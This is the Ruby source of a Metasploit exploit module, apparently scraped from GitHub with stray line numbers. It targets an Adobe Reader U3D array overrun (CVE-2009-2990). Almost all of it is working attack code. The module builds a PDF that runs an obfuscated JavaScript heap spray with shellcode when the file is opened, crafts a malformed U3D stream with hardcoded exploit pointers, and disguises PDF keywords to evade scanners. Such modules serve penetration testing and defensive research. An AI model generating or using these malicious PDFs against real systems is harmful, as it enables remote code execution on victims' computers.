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GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
Views: 1904
1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
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'Description' => %q{
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This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
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Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
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specially crafted pdf that a contains malformed U3D data, an attacker may
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be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
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'jduck'
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],
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'References' =>
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[
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[ 'CVE', '2009-2990' ],
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[ 'OSVDB', '58920' ],
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[ 'BID', '36665' ],
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[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => %w{ win linux },
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'Targets' =>
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[
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# test results (on Windows XP SP3)
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# reader 7.0.5 - untested
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# reader 7.0.8 - untested
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# reader 7.0.9 - untested
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# reader 7.1.0 - untested
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# reader 7.1.1 - untested
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# reader 8.0.0 - untested
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# reader 8.1.2 - works
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# reader 8.1.3 - works
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# reader 8.1.4 - untested
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# reader 8.1.5 - untested
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# reader 8.1.6 - untested
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# reader 9.0.0 - untested
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# reader 9.1.0 - works
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[ 'Adobe Reader Windows Universal (JS Heap Spray)',
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{
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'Index' => 0x01d10000,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'escA' => 0x0f0f0f0f,
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'escB' => 0x16161616,
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'escC' => 0x1c1c1c1c
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}
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],
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# untested
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[ 'Adobe Reader Linux Universal (JS Heap Spray)',
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{
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'Index' => 0xfffffe3c,
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'escA' => 0x75797959,
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'escB' => 0xa2a2a2a2,
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'escC' => 0x9c9c9c9c
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}
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]
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],
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'DisclosureDate' => '2009-10-13',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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])
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Make some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# prepare the pointers!
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ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
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ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
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ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
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script = <<-EOF
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var nopz = unescape("#{nops}");
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function mkSlice(stringy,size,rest){
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while (stringy.length <= size/2)
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stringy += stringy;
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stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
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return stringy;
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};
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function spray(escA,escB,escC,escShellcode){
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var loop1;
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var pointersA = unescape(escA);
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var pointersB = unescape(escB);
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var pointersC = unescape(escC);
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var shellcode = unescape(escShellcode);
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pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
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pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
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pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
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nop_slide = mkSlice(nopz,0x100000, shellcode.length);
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var xarr = new Array();
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for (loop1 = 0; loop1 < 400; loop1++) {
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if(loop1<100)
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xarr[loop1] = pointersA_slide+pointersA;
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else if(loop1<200)
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xarr[loop1] = pointersB_slide+pointersB;
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else if(loop1<300)
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xarr[loop1] = pointersC_slide+pointersC;
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else
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xarr[loop1] = nop_slide+shellcode;
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}
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return xarr;
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};
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var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
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this.pageNum = 1;
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EOF
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# Obfuscate it up a bit
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script = obfuscate_js(script,
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'Symbols' => {
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'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
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'Methods' => %W{ mkSlice spray }
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}).to_s
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# create the u3d stuff
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u3d = make_u3d_stream(target['Index'], "E" * 11)
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# Create the pdf
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pdf = make_pdf(script, u3d)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def obfuscate_js(javascript, opts)
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js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
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js.obfuscate
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return js
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end
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def random_non_ascii_string(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def io_def(id)
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"%d 0 obj\n" % id
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end
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def io_ref(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def n_obfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ascii_hex_whitespace_encode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def u3d_pad(str, char="\x00")
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ret = ""
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if (str.length % 4) > 0
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ret << char * (4 - (str.length % 4))
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end
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return ret
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end
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def make_u3d_stream(index, meshname)
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# build the U3D header (length will be patched in later)
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hdr_data = [1,0].pack('n*') # version info
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hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
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hdr = "U3D\x00"
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hdr << [hdr_data.length,0].pack('VV')
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hdr << hdr_data
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# mesh declaration
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decl_data = [meshname.length].pack('v')
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decl_data << meshname
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decl_data << [0].pack('V') # chain idx
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# max mesh desc
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decl_data << [0].pack('V') # mesh attrs
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decl_data << [0xc322].pack('V') # face count
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decl_data << [0x6226].pack('V') # position count
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decl_data << [0x24966].pack('V') # normal count
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decl_data << [0].pack('V') # diffuse color count
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decl_data << [0].pack('V') # specular color count
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decl_data << [0].pack('V') # texture coord count
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decl_data << [1].pack('V') # shading count
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# shading desc
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decl_data << [0].pack('V') # shading attr
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decl_data << [1].pack('V') # texture layer count
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decl_data << [0].pack('V') # texture coord dimensions
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decl_data << [0].pack('V') # original shading id
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# minimum resolution
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decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
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# quality factors
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decl_data << [0x12c].pack('V') # position quality factor
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decl_data << [0x12c].pack('V') # normal quality factor
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decl_data << [0x12c].pack('V') # texture coord quality factor
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# inverse quantiziation
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decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
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decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
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decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
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decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
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decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
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# resource params
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decl_data << [0x3f666666].pack('V') # normal crease param
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decl_data << [0x3f000000].pack('V') # normal update param
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decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
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# skeleton description
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decl_data << [0].pack('V') # bone count
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# padding
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mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
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mesh_decl << decl_data
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mesh_decl << u3d_pad(decl_data)
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# build the modifier chain
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chain_data = [meshname.length].pack('v')
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chain_data << meshname
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chain_data << [1].pack('V') # type (model resource)
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chain_data << [0].pack('V') # attributes (no bounding info)
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chain_data << u3d_pad(chain_data)
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chain_data << [1].pack('V') # number of modifiers
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chain_data << mesh_decl
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modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
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modifier_chain << chain_data
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# mesh continuation
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cont_data = [meshname.length].pack('v')
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cont_data << meshname
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cont_data << [0].pack('V') # chain idx
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cont_data << [0].pack('V') # start resolution
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cont_data << [0x1000].pack('V') # end resolution
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# 4096 continuation blocks
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cont_data << [index].pack('V') # split position index
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cont_data << [0].pack('v') # new diffuse color count
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cont_data << [0].pack('v') # new specular color count
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cont_data << [0].pack('v') # new text coord count
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cont_data << [0].pack('V') # new face count
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# unknown data
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cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
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cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
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cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
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cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
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cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
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cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
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cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
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cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
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cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
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cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
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cont_data << "\xe9\x10\x9d\x6b\x06\x00"
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cont_data << "\x50" # pad
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mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
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mesh_cont << cont_data
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#mesh_cont << u3d_pad(cont_data)
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mesh_cont << "\xa2\x00" # manual padding
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data = hdr
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data << modifier_chain
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data << mesh_cont
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# patch the length
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data[24,4] = [0x2b680].pack('V') # hardcode the data length
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if index == 0x01d10000
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#laziest hack ever! Another index must be found for using the following
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# stream in windows.. and a lot of tests shoul be done.
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return data
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end
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# linux version
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# build the U3D header (length will be patched in later)
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hdr_data = [1,0].pack('n*') # version info
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hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
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meta_str1 = "alalala0"
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meta_str2 = "\xa8" * 1024
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hdr_meta = [1].pack('V')
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hdr_meta << [meta_str1.length].pack('v')
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hdr_meta << meta_str1
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hdr_meta << [1].pack('V')
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hdr_meta << [meta_str2.length].pack('V')
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hdr_meta << meta_str2
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hdr = "U3D\x00"
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hdr << [hdr_data.length,hdr_meta.length].pack('VV')
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hdr << hdr_data
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hdr << hdr_meta
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hdr << u3d_pad(hdr_meta)
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# mesh declaration
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decl_data = [meshname.length].pack('v')
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decl_data << meshname
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decl_data << [0].pack('V') # chain idx
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# max mesh desc
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decl_data << [0].pack('V') # mesh attrs
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decl_data << [0xc322].pack('V') # face count
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decl_data << [0x6626].pack('V') # position count
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decl_data << [4].pack('V') # normal count
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decl_data << [0].pack('V') # diffuse color count
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decl_data << [0].pack('V') # specular color count
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decl_data << [0].pack('V') # texture coord count
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decl_data << [1].pack('V') # shading count
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# shading desc
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decl_data << [0].pack('V') # shading attr
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decl_data << [0].pack('V') # texture layer count
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decl_data << [0].pack('V') # original shading id
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# no texture coord dimensions
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decl_data << [0x64].pack('V') # minimum resolution
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decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
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# quality factors
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decl_data << [0x12c].pack('V') # position quality factor
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decl_data << [0x12c].pack('V') # normal quality factor
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decl_data << [0x12c].pack('V') # texture coord quality factor
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# inverse quantiziation
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decl_data << [0].pack('V') # position inverse quant
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decl_data << [0].pack('V') # normal inverse quant
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decl_data << [0].pack('V') # texture coord inverse quant
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decl_data << [0].pack('V') # diffuse color inverse quant
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decl_data << [0].pack('V') # specular color inverse quant
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# resource params
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decl_data << [0].pack('V') # normal crease param
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decl_data << [0].pack('V') # normal update param
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decl_data << [0].pack('V') # normal tolerance param
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# skeleton description
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decl_data << [0].pack('V') # bone count
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# padding
383
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
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mesh_decl << decl_data
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mesh_decl << u3d_pad(decl_data)
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# build the modifier chain
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chain_data = [meshname.length].pack('v')
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chain_data << meshname
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chain_data << [1].pack('V') # type (model resource)
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chain_data << [0].pack('V') # attributes (no bounding info)
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chain_data << u3d_pad(chain_data)
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chain_data << [1].pack('V') # number of modifiers
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chain_data << mesh_decl
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modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
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modifier_chain << chain_data
397
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# mesh continuation
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cont_data = [meshname.length].pack('v')
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cont_data << meshname
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cont_data << [0].pack('V') # chain idx
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cont_data << [0].pack('V') # start resolution
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cont_data << [0x100].pack('V') # end resolution
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# 256 continuation blocks
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cont_data << [index].pack('V') # split position index
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# unknown data
407
cont_data << [1].pack('V') * 10
408
cont_data << "Feli" * 20
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mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
410
mesh_cont << cont_data
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mesh_cont << u3d_pad(cont_data)
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data = hdr
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data << modifier_chain
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data << mesh_cont
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# patch the length
418
data[24,4] = [0x174].pack('V') # hardcode the data length
419
return data
420
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end
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def make_pdf(js, u3d_stream)
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xref = []
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eol = "\x0a"
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obj_end = "" << eol << "endobj" << eol
428
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# the header
430
pdf = "%PDF-1.7" << eol
431
432
# filename/comment
433
pdf << "%" << random_non_ascii_string(4) << eol
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# js stream
436
xref << pdf.length
437
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
438
pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
439
pdf << "stream" << eol
440
pdf << compressed << eol
441
pdf << "endstream" << eol
442
pdf << obj_end
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# catalog
445
xref << pdf.length
446
pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
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pdf << n_obfu("/Pages ") << io_ref(5)
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pdf << n_obfu("/OpenAction ") << io_ref(8)
449
pdf << n_obfu(">>")
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pdf << obj_end
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# outline
453
xref << pdf.length
454
pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
455
pdf << obj_end
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# kids
458
xref << pdf.length
459
pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
460
pdf << io_ref(9) << " " # empty page
461
pdf << io_ref(10) # u3d page
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pdf << n_obfu("]>>")
463
pdf << obj_end
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# u3d stream
466
xref << pdf.length
467
pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
468
pdf << "stream" << eol
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pdf << u3d_stream << eol
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pdf << "endstream"
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pdf << obj_end
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# u3d annotation object
474
xref << pdf.length
475
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
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pdf << "/3D/3DA <</A/PO/DIS/I>>"
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pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
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pdf << obj_end
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# js dict
481
xref << pdf.length
482
pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
483
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# page 0 (empty)
485
xref << pdf.length
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pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
487
pdf << n_obfu(" >>")
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pdf << obj_end
489
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# page 1 (u3d)
491
xref << pdf.length
492
pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
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pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
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pdf << n_obfu(">>")
495
pdf << obj_end
496
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# xrefs
498
xrefPosition = pdf.length
499
pdf << "xref" << eol
500
pdf << "0 %d" % (xref.length + 1) << eol
501
pdf << "0000000000 65535 f" << eol
502
xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
504
end
505
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# trailer
507
pdf << "trailer" << eol
508
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
509
pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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end
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